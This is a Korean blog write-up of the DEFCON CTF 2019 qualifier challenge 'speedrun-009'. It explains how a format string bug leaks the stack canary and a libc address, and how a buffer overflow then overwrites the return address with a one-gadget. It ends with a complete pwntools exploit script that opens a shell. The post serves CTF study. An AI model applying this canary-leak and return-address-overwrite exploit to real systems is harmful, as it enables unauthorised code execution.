상세 컨텐츠

본문 제목

[DEFCON CTF prequals 2019] speedrun-009

SYSTEM HACKING/CTF, etc

by koharin 2020. 2. 28. 18:17

본문

728x90
반응형

# checksec / file

 


# process

 

 

 

2번 메뉴에서 S가 전역변수 아님 -> Format String Bug 가능

1번 메뉴에서 크기 0x410+0x8 v5 변수에 0x5dc 입력 -> overflow 가능

 

1번 메뉴에서 overflow 가능한 것으로 return address를 one gadget으로 덮는다.

따라서 libc leak과 canary leak이 필요하다.

(return address를 덮으면 되므로 pie leak은 필요없다.)

 

 

 

AAAAAAAA을 입력했을 때 0x4141414141414141이 8번째에 출력된다.

즉, 8번째부터 stack 값이 출력되는 것이다.

따라서 libc leak과 canary leak을 하려면 8 offset을 더한 후에 해야한다.

 

1. canary leak

 

 

 

1) 1번 메뉴에서 cananry 전까지 더미를 채운다.

 

2) fsb

- n을 필터링한다. -> '%hn' 대신 '%p" 사용해서 leak한다.

- 2번에서 read로 0xc8만큼 입력받는데 거기에 8바이트 더 가면 canary이다.

따라서  1번의 더미 + 0xd0 만큼이 canary 위치인데, %p로 출력하므로 하나당 8바이트라서 8로 나눠준다.

- 8 offset이 있으므로 8을 더해준다.

- p.recv(18)을 하면 canary leak 할 수 있다.

 

2. libc leak

 

stack에서 return address에서 더 내려가보면 익숙해보이는 주소가 보인다.

 

 

 

흰색으로 표시된 주소는 

 

 

__libc_start_main+240의 주소이다.

따라서 이 위치의 값을 fsb로 leak하면 libc base를 구할 수 있다.

 

1) 1번 메뉴

- 더미를 채운다.

 

2) fsb

- canary에서 __libc_start_main+240이 들어있는 주소 위치까기의 offset만큼을 더 더해서 fsb를 하면 된다.

 

libc base와의 offset을 구해서 실행 시 libc base를 구하고,

 

one gadget 주소도 구한다.

 

 

canary와 __libc_start_main+240이 leak된 상태

 

 

3. return address -> one gadget

- 1번 메뉴에서 overflow 취약점을 이용해서 one gadget으로 return address를 변조한다.

 

 

 

DEBUG 환경변수가 없으면 alarm(5)로 5초 뒤에 SIGALRM으로 프로세스가 종료되므로 DEBUG 환경변수를 export해준 후 익스해주면 된다.


# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

p = process("./speedrun-009")

def overflow(pay):
    p.sendafter("1, 2, or 3\n", '1')
    p.send(pay)

def fsb(a):
    p.sendafter("1, 2, or 3\n", '2')
    p.send(a)
    p.recvuntil("Is that it \"")

# canary leak
overflow('A'*(0x410-0x8))

fsb("%" + str((0xd0+0x410-0x8)/8+8) + '$p')
canary = int(p.recv(18), 16)
log.info("canary : "+hex(canary))

gdb.attach(p)

# libc leak
overflow('A'*(0x410-0x8))
fsb("%" + str((0xd0+0x410-0x8)/8+8+6) + '$p')
libc_start_main_240 = int(p.recv(14), 16)
log.info("addr : "+hex(libc_start_main_240))
libcBase = libc_start_main_240-0x20830
log.info("libcBase : "+hex(libcBase))
one_gadget = libcBase + 0x45216

overflow('A'*(0x410-0x8) + p64(canary) + 'A'*8 + p64(one_gadget))

p.interactive()

 

# exploit

 


 

728x90
반응형

관련글 더보기